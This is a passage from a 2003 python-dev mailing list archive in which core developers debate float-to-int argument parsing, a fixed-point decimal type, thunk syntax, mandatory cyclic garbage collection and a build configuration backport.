program won't even run, if the resulting float is used as an index
somewhere); while the problems caused by silent truncation of int/int
are often only discovered by careful checking of actual results with
expected results.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@python.org  Wed Feb  5 14:15:41 2003
From: barry@python.org (Barry A. Warsaw)
Date: Wed, 5 Feb 2003 09:15:41 -0500
Subject: trying times [Python-Dev] thunks
References: <200302031653.h13Grof20104@odiug.zope.com>
 <3E4019C5.2020408@lemburg.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <3E40D6DF.4000904@lemburg.com>
 <2mptq6oncg.fsf@starship.python.net>
Message-ID: <15937.7309.957878.485539@gargle.gargle.HOWL>

>>>>> "MH" == Michael Hudson <mwh@python.net> writes:

    MH> (actually someone has already suggesting throwing a newsreader
    MH> at the problem, to judge by the follow-up).

news:gmane.comp.python.devel

-Barry


From mwh@python.net  Wed Feb  5 14:53:43 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 14:53:43 +0000
Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
In-Reply-To: <15937.8458.403942.646553@montanaro.dyndns.org> (Skip
 Montanaro's message of "Wed, 5 Feb 2003 08:34:50 -0600")
References: <15936.18440.704332.854883@montanaro.dyndns.org>
 <2mn0laon8x.fsf@starship.python.net>
 <15937.8458.403942.646553@montanaro.dyndns.org>
Message-ID: <2mel6mok20.fsf@starship.python.net>

Skip Montanaro <skip@pobox.com> writes:

>     >> I just wiped my maint22 directory clean, did a cvs up, configure and
>     >> make on my Mac OS X machine.  BUILDEXE got set to the empty string,
>
>     Michael> I don't think the case-sensitive file-system chack has ever
>     Michael> made it to the 22-maint branch.
>
> I think the build worked fine for me back in October (at least I don't
> remember having to execute "make BUILDEXE=.exe".  It seems something changed
> in the intervening time.

Hmm.  Looking at CVS suggests that 2.2 sets BUILDEXE correctly if you
are building in-tree, but not out of tree.  Could that be the
difference?

(ran configure to test, found an empty BUILDEXE, then realized I'm
still on the linux box, doh).

Actually testing on OS X backs me up.

>     Michael> Feel free to backport it...
>
> Since you are the acknowledged backport master, and I have never done a
> retrospective backport before, can you give me some clues about how to find
> "it"?

Basically by reading the output of "cvs log configure.in".  Looks like
revisions 1.363 & 1.326 are the interesting ones.

So try "cvs up -j 1.325 -j 1.326 configure.in" and count the rejects.

Cheers,
M.

-- 
  The "of course, while I have no problem with this at all, it's
  surely too much for a lesser being" flavor of argument always
  rings hollow to me.                       -- Tim Peters, 29 Apr 1998


From guido@python.org  Wed Feb  5 15:04:34 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 10:04:34 -0500
Subject: [Python-Dev] Passing floats to "i" parser marker
In-Reply-To: Your message of "Wed, 05 Feb 2003 15:41:05 +0100."
 <3E412281.4050106@lemburg.com>
References: <E18gAAX-0002eQ-00@sc8-pr-cvs1.sourceforge.net> <3E40D265.8080005@lemburg.com> <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net>
 <3E412281.4050106@lemburg.com>
Message-ID: <200302051504.h15F4Yb28211@odiug.zope.com>

> > The problem (and my opinion) has come up here on and off many times.
> 
> Hmm, I must have been on vacation then :-)

Yeah, I miss those long European vacations... :-)

> > Since all the type knows is that it's __int__ method is called, not
> > that this is in the context of getargs.c, how could it protest in this
> > case without protesting about all calls to int()?
> 
> But that's the point: "i" should work just like int() does
> w/r to the __int__ slot and it does, so nothing is broken
> which would need fixing.

Well, that's where we disagree.  I think "i" is broken and needs
fixing.

The history:

Long ago, "i" and friends only accepted honest-to-god ints; if you had
something else that implemented __int__, you had to call int() on it
before passing it along.  list.insert() only accepted ints for the
index, and all was good.

Then someone suggested that it wasn't fair that built-in ints had
special status when passed to a function implemented in C, and that
anything that supported __int__ should be allowed.  The use case
(though we didn't have that word then yet) was some user-defined type
that represented an int with additional behavior (it was before you
could subclass int).

It wasn't until years after the idea was implemented that I realized
that floats also have an __int__ method and that you could write not
only "list.insert(3.0, xxx)", which was arguably acceptable, but also
"list.insert(3.14, xxx)", which was definitely not.

So the warning for "i" is an attempt at a fix for this that has the
largest bang for the buck (as opposed to introducing a second method
for lossy conversions to int, which would be much more work and cause
much more broken code).

> IMHO, the right way to fix what you think is broken is by introducing
> a new parser marker with your new semantics. Then use that parser
> marker whereever it is found meaningful.

Tell that to the people who have to maintain thousands of PyArg_*
calls.

I think that a parser marker meaning "accept a float but truncate it
to int" would not find much use.

> The problem is that your change propogates to all third-party
> extensions as well and that's not desirable in all cases. IMHO,
> it is not even desirable for all cases in the Python interpreter
> (see below).
> 
> > By far the majority of types that implement __int__ represent int-like
> > data; only floats and rationals use __int__ for losing information.
> > That's why the above solution was chosen.
> 
> I'm sure that all numeric-like types implement __int__ for
> the sake of being compatible to int().

Understood.  We're going for a 90% solution here (see above).

> > Why do you think so much will break?  In Python 2.2, you can write
> > 
> >   a = range(10)
> >   a.insert(3.14, 0)
> > 
> > and it will insert a 0 at position 3.  This is undocumented.  Do you
> > really think anyone in the world willfully uses this?
> 
> No, this is one spot where the new parser marker would fit
> well. Still, even in this case I think that passing
> floats to "i" is perfectly OK, namely in all those cases
> where no loss of data occurs, e.g. passing 13.0 to "i"
> should be accepted as 13.

Smarter people than you and me can disagree about that.  Personally, I
think that accepting floats with int values here is asking for
trouble: a calculation that returns a perfect int on one machine may
not do so on another, and hence a subtle portability problem is born.

> >>Which makes me think: int() started
> >>to return longs a few months ago -- we don't even have
> >>a cast which would raise an OverlfowError in case
> >>the conversion to int is not possible.
> > 
> > Why would you need one (except in C code, where "i" is such a cast)?
> 
> For exactly this case -- to make sure that "i" doesn't
> overflow when receiving the return value from int().

This makes no sense.  "i" gives a perfectly valid error message when
passed a value that's too long to fit in a C int -- in fact, the error
message is exactly the same as you used to get from int(x) if x were a
long larger than sys.maxint.

> > In the future, the difference between int and long will disappear
> > completely.

> >>Of course, int()
> >>would return a long and then the "i" parser marker
> >>implementation would complain, but that may be too late, e.g.
> >>in the case where you pass the data over the wire or
> >>store it in a file for later processing.
> > 
> > YAGNI.
> 
> I wasn't proposing anything in the above paragraph...
> what does YAGNI apply to here ?

I sohuld have invented a new acronym.  What I meant was YAWTM (You Are
Worrying Too Much).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Wed Feb  5 15:09:33 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 5 Feb 2003 09:09:33 -0600
Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
In-Reply-To: <2mel6mok20.fsf@starship.python.net>
References: <15936.18440.704332.854883@montanaro.dyndns.org>
 <2mn0laon8x.fsf@starship.python.net>
 <15937.8458.403942.646553@montanaro.dyndns.org>
 <2mel6mok20.fsf@starship.python.net>
Message-ID: <15937.10541.274987.165566@montanaro.dyndns.org>

    Michael> Hmm.  Looking at CVS suggests that 2.2 sets BUILDEXE correctly
    Michael> if you are building in-tree, but not out of tree.  Could that
    Michael> be the difference?

Yes, I generally build out-of-tree.  I have a debug build dir, an optimized
build dir, one for code coverage, one for profiling, etc.

Thanks for the cvs tips.  I'll see if I can make something work.

Skip


From tim.one@comcast.net  Wed Feb  5 15:10:34 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 10:10:34 -0500
Subject: trying times [Python-Dev] thunks
In-Reply-To: <200302051305.h15D5Ya23805@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHOEFBEMAA.tim.one@comcast.net>

>>> these are trying times:
>>>
>>> http://online.effbot.org/2003_02_01_archive.htm#python-dev

>> Trying is fine, but Fredrik has a point there.

> Followup:
>
>   http://online.effbot.org/2003_02_01_archive.htm#irony
>
> """
> # irony: python-dev is discussing decimal arithmetics in a thread
> titled "why did fredrik leave the party". to the extent yesterday's
> post had a point, I think this proves it ;-)
> """

It's often hard to guess what /F's points are.  In this case, it's about
getting a library into 2.3, where the idea to get it into 2.3 was approved
no later than last September:


From: Tim Peters <tim.one@comcast.net>
Date: Thu Sep 19 14:20:22 2002
To: python-list@python.org
Subject: RE: monetary applications [was: Python GUI app to impress the bos
s?]

About
    http://starship.python.net/crew/aahz/FixedPoint.py

If someone is willing and able to do the work (sorry, I can't make time for
it), Guido will accept this into the standard library for 2.3.  It's a
small, self-contained, pure Python module; it's been in use for a few years
with no bugs reported; and is unencumbered by any license (a lawyer has told
me that an individual in the USA cannot meaningfully disclaim copyright, so
fine, the copyright I didn't want is hereby transferred to the PSF <wink>).

What work remains:

+ Write docs for the Library Reference manual.  I expect the existing
  module docstring will be a good start.

+ Create a test driver for Python's regression suite.

+ Have fun modernizing it, if you like (for example, "/" should be
  changed to "//" where integer division is intended; playing with
   __slots__ may yield some nice savings; whatever).

This should be a fun and comparatively easy task -- if you ever wanted to
get your name into the ACKS file, here's one way to do it without tithing
you income directly to Guido <wink>.

although-tithing-saves-me-time-ly y'rs  - tim



From barry@python.org  Wed Feb  5 15:25:16 2003
From: barry@python.org (Barry A. Warsaw)
Date: Wed, 5 Feb 2003 10:25:16 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov>
 <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
 <200302051448.h15EmL428173@odiug.zope.com>
Message-ID: <15937.11484.904527.8482@gargle.gargle.HOWL>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> There's also the tension between making the language simpler
    GvR> (to learn) and making programs simpler (to read).  For
    GvR> example, *if* (and that's still a very big if) we were to add
    GvR> a language feature that would let you write

    |     synchronized(lock):
    |         BLOCK

    GvR> instead of

    |     lock.aqcuire()
    |     try:
    |         BLOCK
    |     finally:
    |         lock.release()

The real problem is that the second example isn't even correct, if you
want to be totally anal about it. ;)  You really need an atomic
operation to acquire the lock and enter the try block, which the
second example doesn't give you.  It's a narrow window of failure but
it exists, and you have to decide whether you care.  So the first
example doesn't /just/ improve readability, it improves correctness
too (assuming it is also atomic).

-Barry


From amk@amk.ca  Wed Feb  5 15:28:04 2003
From: amk@amk.ca (A.M. Kuchling)
Date: Wed, 05 Feb 2003 10:28:04 -0500
Subject: [Python-Dev] Re: trying times thunks
In-Reply-To: <200302042057.h14KvEI26727@odiug.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com>              <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com>
Message-ID: <b1raed$h83$1@main.gmane.org>

Guido van Rossum wrote:
> here.  I haven't seen him fix any SRE bugs either, SF bugs assigned to
> him for ages notwithstanding.

On the other hand, "unsubscribing from python-dev" != "ending all Python 
development".  Maybe we should draw up a list of what needs to get done 
before 2.3alpha2 can be released; are any of the bugs critical?

I certainly understand where he's coming from, though. Rational number 
threads are my particular pet peeve, because discussions never converge 
  on a solution, making it unlikely that any way will ever be found to 
add rationals to the language, yet rational threads seem to go on endlessly.

Working on language features seems like misdirected activity to me,
and perhaps to Fredrik as well, when other activities might be more
beneficial for Python, e.g. finishing and implementing Moshe's
Batteries Included PEP, adding numarray, or things like that.
(Overall I'm really pleased with 2.3 because the library additions --
logging, register.py, PyBSDDB, tarfile, and the CSV API, should it go in
-- plug a number of gaps in the stdlib.)

--amk                                                    (www.amk.ca)
LEAR: O, that way madness lies.
       -- _King Lear_, III, iv




From tim.one@comcast.net  Wed Feb  5 15:49:36 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 10:49:36 -0500
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <Pine.LNX.4.33.0302042346560.8775-100000@server1.lfw.org>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMEFHEMAA.tim.one@comcast.net>

[Ka-Ping Yee]
> I know no one asked for my opinion, but if you will indulge me
> for a moment -- i think the most important concern is to keep the
> type simple, minimal, and above all *immutable*.
>
> Thus:
>
> 1.  Prevent setting of attributes.

Good idea.

> 2.  Turn 'precision' into a read-only attribute.  To set precision,
>     just make a new number with decimal(x, new_precision).

The existing set_precision() name still seems fine, though.  It's not
necessarily a "new" precision; set_precision says what it means.

> 3.  But don't call it 'precision'.  The word 'precision' usually
>     means either the total number of significant digits, or the
>     least significant distinguishable unit.  What we're talking
>     about (number of digits after the decimal point) is neither.
>     I believe the correct term is 'scale' (from SQL).  See also
>     http://www2.hursley.ibm.com/decimal/.

Opposed.  Users had no trouble understanding what precision means in this
context (the module has been in use for a few years).

> 4.  Get rid of copy(); it's unnecessary if you're immutable.

Agreed.

> 5.  Get rid of 'frac()'.  I don't see how it would be needed
>     very often, and it's easy to do x - long(x).

Don't care much, but gratuitous fiddling will turn this into a bottomless
pit.

> That leaves a simple immutable numeric type with no public methods

"no public methods" is a non-goal to me.

> and just one attribute -- hence the least possible burden on a
> future version of Python, if this type eventually becomes built-in.
> (And the least possible burden is a good goal in general anyway.)

I hope that an implementation of Mike Cowlishaw's nascent standard gets that
honor instead.

> Also:
>
> 6.  No global mutable state.  That means no global settings for
>     default precision or rounding mode.  Either pick a standard
>     precision or always require the second constructor argument.
>     Rounding mode is a tougher problem; i see two solutions:
>
>     (a) Eliminate variable rounding; always round half to even.

Too unrealistic to consider -- a slew of silly rounding modes is a
requirement for commercial use.

>     (b) Set rounding function as an attribute of the number.

Bleech.

>         Operators use the rounding function of the first operand.
>         This lets modules control module-local rounding behaviour
>         if they really want to do so, without interfering with
>         the rest of the program.
>
> This may sound like a harsh requirement, but i am convinced that
> global mutable settings will cause nightmares for people who try
> to make their modules and programs interoperate.

Tough luck.  Practicality beats purity here:  the pure solution is to pass a
"numeric context" object to each operation, which some implementations
actually require.  The resulting source code is tedious and unreadable.  The
practical alternative is what you live with every day in FP arithmetic, yet
don't even notice:  thread-local state holding the current IEEE-754 rounding
mode and precision control (etc) settings, implicitly an input to every
operation (and assorted 754 status flags are also implicitly outputs from
every operation).  It works fine, but requires some care in programs living
on the edge.  People will screw it sometimes, but so it goes.



From guido@python.org  Wed Feb  5 15:52:19 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 10:52:19 -0500
Subject: [Python-Dev] Bridging strings from Python to other languages
In-Reply-To: Your message of "Tue, 04 Feb 2003 23:55:42 EST."
 <14873590-38C6-11D7-BAFA-000393877AE4@codefab.com>
References: <14873590-38C6-11D7-BAFA-000393877AE4@codefab.com>
Message-ID: <200302051552.h15FqKA28439@odiug.zope.com>

Hi Bill,

I've read though the end of your post, and while I appreciate the
problem, I have little help to offer.  It's not even clear whether
you're asking for changes to Python or simply a hint as to how to
write your bridge.

To me, it seems that the crux is your requirement

>      (3) identity is maintained;   pass a string with id() 7570720 from 
> Python into the alien runtime and subsequently from the alien runtime 
> back into python and the same string instance with id() 7570720 really 
> should come back

In my experience almost no Python code depends on this property, and
it seems to be the most problematic one.  So why is this a
requirement?

If you can live with only using Unicode strings (even when all they
contain is ASCII or Latin-1 values), I think subclassing Unicode might
be the way to go.

I don't have time to dig deeper into this.  But if you think a small
change to Python can make life easier for you, I expect we'll be happy
to implement it, as long as it doesn't make life harder for Python
developers.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Wed Feb  5 15:53:03 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 10:53:03 -0500
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <Pine.LNX.4.33.0302050248270.8775-100000@server1.lfw.org>
Message-ID: <BIEJKCLHCIOIHAGOKOLHKEFIEMAA.tim.one@comcast.net>

[Ka-Ping Yee]
> No need for methods.  Other numeric types don't have them.  (Well,
> complex has .conjugate(), but that's very complex-specific.)

Please drop this one -- "no methods" remains a non-goal.  Strings didn't
have methods either, now use of string methods is ubiquitous, and Guido
approved of adding methods to numbers too years ago (but nobody ever got
around to adding some; e.g., long.numbits()).



From Robert Ledwith <rledwith@cas.org>  Wed Feb  5 15:57:39 2003
From: Robert Ledwith <rledwith@cas.org> (Robert Ledwith)
Date: Wed, 5 Feb 2003 10:57:39 -0500 (EST)
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
Message-ID: <200302051557.h15FvdG29072@ftp01.cas.org>

During the process of trying to upgrade my applications from Python 2.2.2
to Python 2.3.a1 I have discovered that applications which previously ran
to completion using Python 2.2.2 will no longer complete using Python 2.3a1
due to the increased memory needed for every Python object.  Using previous
versions of Python, I routinely used the --without-cycle-gc configuration
option, since the performance was better and the process size footprint was
smaller. Under Python 2.3.a1 this is no longer an option.  For my 32 bit
applications, this meant an increase of 8 bytes per Python object; for the
64 bit applications, the increase is 16 bytes per object.  For applications
which are small this increase has a negligible effect.  In fact, the
various optimizations that have been implemented has caused a mild net
improvement in run times.  However, large 32-bit applications which processed
the exact same input streams are now failing due to exceeding the maximum
process image size possible on the computers.  In addition, while the existing
64-bit applications run to completion, they typically require more CPU time due
to the larger footprint of the processes.

I believe my experiences highlight a potential issue for three classes of
Python programs:

	1. Programs written for embedded systems and tightly constrained
	   systems such as PDAs.  Previously running programs (especially
	   in-memory database based programs) may simply no longer fit
	   within the limited hardware. For these programs, migrating
	   to Python 2.3 will be impossible without rewriting the programs
	   to create fewer objects.
	   
	2. 32-bit Python programs which create millions of small Python
	   objects and are approaching the maximum process image size for
	   the platform.  As with the first class of programs, migrating
	   to Python 2.3 will be impossible without rewriting.
	   
	3. 64-bit Python programs which create millions of small Python
	   objects.  These programs will continue to run, but may see a
	   marked performance problem.  In my situation I have seen increases
	   in run times vary from 0% to 40%.
	   
I do not believe my experiences will prove to be unique among the Python
community.  Given this possibility, is it desirable to re-insert the
logic to make the cyclic GC optional now, heading off potential problems
that would surface only months from now, once Python 2.3 is officially rolled
out and installed worldwide?














:s Robert H. Ledwith               INET: rledwith@cas.org
:s Unless explicitly stated to the contrary, nothing in this posting should
:s be construed as representing my employer's opinions.



From gsw@agere.com  Wed Feb  5 16:03:48 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Wed, 5 Feb 2003 11:03:48 -0500
Subject: [Python-Dev] (no subject)
In-Reply-To: <20030205144303.10589.43636.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFOEDEDCAA.gsw@agere.com>

Mark Lutz wrote:
> Not true.  I don't think people on python-dev are in touch
> with the impacts of their changes on the Python learning curve.
> [ ... ] Like it or not, beginners do need to know about new
> things, even if they will not be coding them.

I agree, and I've held off on commenting on some of these
newer features since I haven't earned the right to be the
lone naysayer.

I suspect that Guido may be onto something with his thunk
proposal that ultimately may simplify things (especially
future language extensions), though.

-Jerry



From mwh@python.net  Wed Feb  5 16:14:35 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 16:14:35 +0000
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <200302051557.h15FvdG29072@ftp01.cas.org> (Robert Ledwith's
 message of "Wed, 5 Feb 2003 10:57:39 -0500 (EST)")
References: <200302051557.h15FvdG29072@ftp01.cas.org>
Message-ID: <2mwuken1qs.fsf@starship.python.net>

Robert Ledwith <rledwith@cas.org> writes:

> I do not believe my experiences will prove to be unique among the Python
> community.  Given this possibility, is it desirable to re-insert the
> logic to make the cyclic GC optional now, heading off potential problems
> that would surface only months from now, once Python 2.3 is officially rolled
> out and installed worldwide?

I'm not fully aware of all the issues, but I think that the
interaction between the sometimes-there-sometimes-not gc code and the
trashcan facility for safely deallocating deeply nested structures was
deeply confusing and was a motivation for making the GC code
non-optional.

So desirable or not, re-adding --without-cycle-gc may be *hard*.

Cheers,
M.

-- 
  It's a measure of how much I love Python that I moved to VA, where
  if things don't work out Guido will buy a plantation and put us to
  work harvesting peanuts instead.     -- Tim Peters, comp.lang.python


From mal@lemburg.com  Wed Feb  5 16:15:57 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 05 Feb 2003 17:15:57 +0100
Subject: [Python-Dev] Readability vs. Understanding
In-Reply-To: <200302051448.h15EmL428173@odiug.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com>	<068a01c2cc8e$31e97140$6d94fea9@newmexico>	<200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov>	<200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>  	<001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com>
Message-ID: <3E4138BD.3010505@lemburg.com>

Guido van Rossum wrote:
> There's also the tension between making the language simpler (to
> learn) and making programs simpler (to read).  For example, *if* (and
> that's still a very big if) we were to add a language feature that
> would let you write
> 
>     synchronized(lock):
>         BLOCK
> 
> instead of
> 
>     lock.aqcuire()
>     try:
>         BLOCK
>     finally:
>         lock.release()
> 
> I assure you that this makes programs that use locks more readable,
> which reduces maintenance costs down the road.  But at the same time
> we can't hope to reduce every idiom to a single statement, and we must
> be careful not to destroy the language by adding too many "neat
> tricks".

I think you're getting this wrong:

By introducing meta-constructs like the thunk idea to raise the
expressiveness of random program blocks you do make the program
simpler to read, but certainly not easier to comprehend.

The reason is that arbitrary code gets hidden from the user in
a way which makes it hard to actually follow the flow of
commands.

The above lock example is perfect for this: the try:finally:
approach is clear and explicit whereas the synchronized(lock):
block introduces a layer of abstraction that is not easy to
comprehend: because the flow of control is not obvious
anymore and because it is hidden in some definition of
synchronized() which the maintainer will have to look up
somewhere (where somewhere could be inside some .zip archive
holding the great new toolbox some geek developer which has
long left the company found cool to use... :-/).

We have already introduced such a meta-contruct feature in a
few places, e.g. importers and meta-classes... both are hardly ever
used and that's good, because understanding, maintaining and
possibly debugging these is a nightmare for much the same
reason that thunks are.

Now, we're lucky since meta-classes or writing importers is
not all that easy. With thunks the situation will be much like
giving macros to Python programmers: you'll see a proliferation
of new meta-constructs in all kinds of programs and in the
end lose the maintainability argument which is still one
of the strongest ones for using Python in the first place.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From guido@python.org  Wed Feb  5 16:19:23 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 11:19:23 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: Your message of "Wed, 05 Feb 2003 10:57:39 EST."
 <200302051557.h15FvdG29072@ftp01.cas.org>
References: <200302051557.h15FvdG29072@ftp01.cas.org>
Message-ID: <200302051619.h15GJNk28568@odiug.zope.com>

> I do not believe my experiences will prove to be unique among the
> Python community.  Given this possibility, is it desirable to
> re-insert the logic to make the cyclic GC optional now, heading off
> potential problems that would surface only months from now, once
> Python 2.3 is officially rolled out and installed worldwide?

Everything's possible, but the manpower available to create and write
this code is limited.

Here's a challenge.  If you are right, and others will feel the same
pain, you and those others should get together and produce a patch to
Python that makes cyclic GC optional again.  You should also allocate
some ongoing time in the future to maintain your code and make sure it
still works in future versions.  It's a fact of life that
configuration options that aren't used by the core Python maintainers
tend to stop working after one or two releases, and that's one of the
reasons that we removed GC's optionality -- nobody was keeping the
endless nests of #ifdefs up-to-date as other code changes were
implemented, and the result was poor code readability (hence more
effort needed for code maintenance) with no benefit -- the feature
didn't work.

This may seem like a cheap shot back, but it isn't.  Python is a
volunteer project (the PythonLabs folks make a living writing Zope
code, and others working on the code are either in school or in a
similar position), and there's only so much we can do.  If nobody
steps up to maintain a particular feature, that feature is likely to
be removed at some point, because keeping around dead code is never
free.  (Witness the numerous style changes made to standard library
modules that nobody uses. :-)

I assure you that if you put in the time it takes to maintain your
code, and you are a decent coder, and the feature doesn't interfere
with other Python goals (like wide portability), your code isn't
likely to be thrown out.  As it was, nobody so far was interested in
maintaining GC's optionality, so out it went.  I'll welcome it back if
it comes with a maintenance offer.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Wed Feb  5 16:36:38 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 05 Feb 2003 17:36:38 +0100
Subject: [Python-Dev] Passing floats to "i" parser marker
In-Reply-To: <200302051504.h15F4Yb28211@odiug.zope.com>
References: <E18gAAX-0002eQ-00@sc8-pr-cvs1.sourceforge.net>	<3E40D265.8080005@lemburg.com>	<200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net>  	<3E412281.4050106@lemburg.com> <200302051504.h15F4Yb28211@odiug.zope.com>
Message-ID: <3E413D96.9020404@lemburg.com>

Guido van Rossum wrote:
>>>Since all the type knows is that it's __int__ method is called, not
>>>that this is in the context of getargs.c, how could it protest in this
>>>case without protesting about all calls to int()?
>>
>>But that's the point: "i" should work just like int() does
>>w/r to the __int__ slot and it does, so nothing is broken
>>which would need fixing.
> 
> Well, that's where we disagree.  I think "i" is broken and needs
> fixing.
> 
> The history:
> 
> Long ago, "i" and friends only accepted honest-to-god ints; if you had
> something else that implemented __int__, you had to call int() on it
> before passing it along.  list.insert() only accepted ints for the
> index, and all was good.
> 
> Then someone suggested that it wasn't fair that built-in ints had
> special status when passed to a function implemented in C, and that
> anything that supported __int__ should be allowed.  The use case
> (though we didn't have that word then yet) was some user-defined type
> that represented an int with additional behavior (it was before you
> could subclass int).
> 
> It wasn't until years after the idea was implemented that I realized
> that floats also have an __int__ method and that you could write not
> only "list.insert(3.0, xxx)", which was arguably acceptable, but also
> "list.insert(3.14, xxx)", which was definitely not.
> 
> So the warning for "i" is an attempt at a fix for this that has the
> largest bang for the buck (as opposed to introducing a second method
> for lossy conversions to int, which would be much more work and cause
> much more broken code).
> 
>>IMHO, the right way to fix what you think is broken is by introducing
>>a new parser marker with your new semantics. Then use that parser
>>marker whereever it is found meaningful.
> 
> Tell that to the people who have to maintain thousands of PyArg_*
> calls.

I'm one of them :-)

> I think that a parser marker meaning "accept a float but truncate it
> to int" would not find much use.

I was trying to suggest a parser marker for "accept whole
numbers only", ie. floats without fraction, integers, subclasses
of integers and other classes implementating __int__.

 >>...
>>No, this is one spot where the new parser marker would fit
>>well. Still, even in this case I think that passing
>>floats to "i" is perfectly OK, namely in all those cases
>>where no loss of data occurs, e.g. passing 13.0 to "i"
>>should be accepted as 13.
> 
> Smarter people than you and me can disagree about that.  Personally, I
> think that accepting floats with int values here is asking for
> trouble: a calculation that returns a perfect int on one machine may
> not do so on another, and hence a subtle portability problem is born.

True. I was thinking of cases where some external lib
returns floats even for integers (e.g. database interface
which return DECIMAL columns with scale 0 as floats --
Zope converts these to integers; even though these can
overflow). Now, you'll never see a float coming out of
that interface with a non-0 fraction. With the change you'll
also won't be able to pass the value as parameter to many
thousand Python APIs anymore.

To work around this, the interface would have to be changed
to apply a magic similar to the one Zope uses. But then
you have a different problem: a change in data type based
on a database type parameter.

>>>>Which makes me think: int() started
>>>>to return longs a few months ago -- we don't even have
>>>>a cast which would raise an OverlfowError in case
>>>>the conversion to int is not possible.
>>>
>>>Why would you need one (except in C code, where "i" is such a cast)?
>>
>>For exactly this case -- to make sure that "i" doesn't
>>overflow when receiving the return value from int().
> 
> This makes no sense.  "i" gives a perfectly valid error message when
> passed a value that's too long to fit in a C int -- in fact, the error
> message is exactly the same as you used to get from int(x) if x were a
> long larger than sys.maxint.

That's what I meant:

Python 2.3a1:
 >>> int(123478987123L)
123478987123L

Now, if I want to make sure that I can pass the value to
"i" I'll have to add another check which makes sure that
the int() return value is indeed a standard integer.

>>>YAGNI.
>>
>>I wasn't proposing anything in the above paragraph...
>>what does YAGNI apply to here ?
> 
> I sohuld have invented a new acronym.  What I meant was YAWTM (You Are
> Worrying Too Much).

Perhaps,
-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From guido@python.org  Wed Feb  5 16:41:40 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 11:41:40 -0500
Subject: [Python-Dev] Passing floats to "i" parser marker
In-Reply-To: Your message of "Wed, 05 Feb 2003 17:36:38 +0100."
 <3E413D96.9020404@lemburg.com>
References: <E18gAAX-0002eQ-00@sc8-pr-cvs1.sourceforge.net> <3E40D265.8080005@lemburg.com> <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net> <3E412281.4050106@lemburg.com> <200302051504.h15F4Yb28211@odiug.zope.com>
 <3E413D96.9020404@lemburg.com>
Message-ID: <200302051641.h15GfeP28701@odiug.zope.com>

> I was trying to suggest a parser marker for "accept whole
> numbers only", ie. floats without fraction, integers, subclasses
> of integers and other classes implementating __int__.

I'm still against that, for the reasons stated here:

> > Smarter people than you and me can disagree about that.  Personally, I
> > think that accepting floats with int values here is asking for
> > trouble: a calculation that returns a perfect int on one machine may
> > not do so on another, and hence a subtle portability problem is born.
> 
> True. I was thinking of cases where some external lib
> returns floats even for integers (e.g. database interface
> which return DECIMAL columns with scale 0 as floats --
> Zope converts these to integers; even though these can
> overflow). Now, you'll never see a float coming out of
> that interface with a non-0 fraction. With the change you'll
> also won't be able to pass the value as parameter to many
> thousand Python APIs anymore.
> 
> To work around this, the interface would have to be changed
> to apply a magic similar to the one Zope uses. But then
> you have a different problem: a change in data type based
> on a database type parameter.

This seems the burden of the database user in either case.  Trying to
compensate for this everywhere else in the language is wrong.

> Python 2.3a1:
>  >>> int(123478987123L)
> 123478987123L
> 
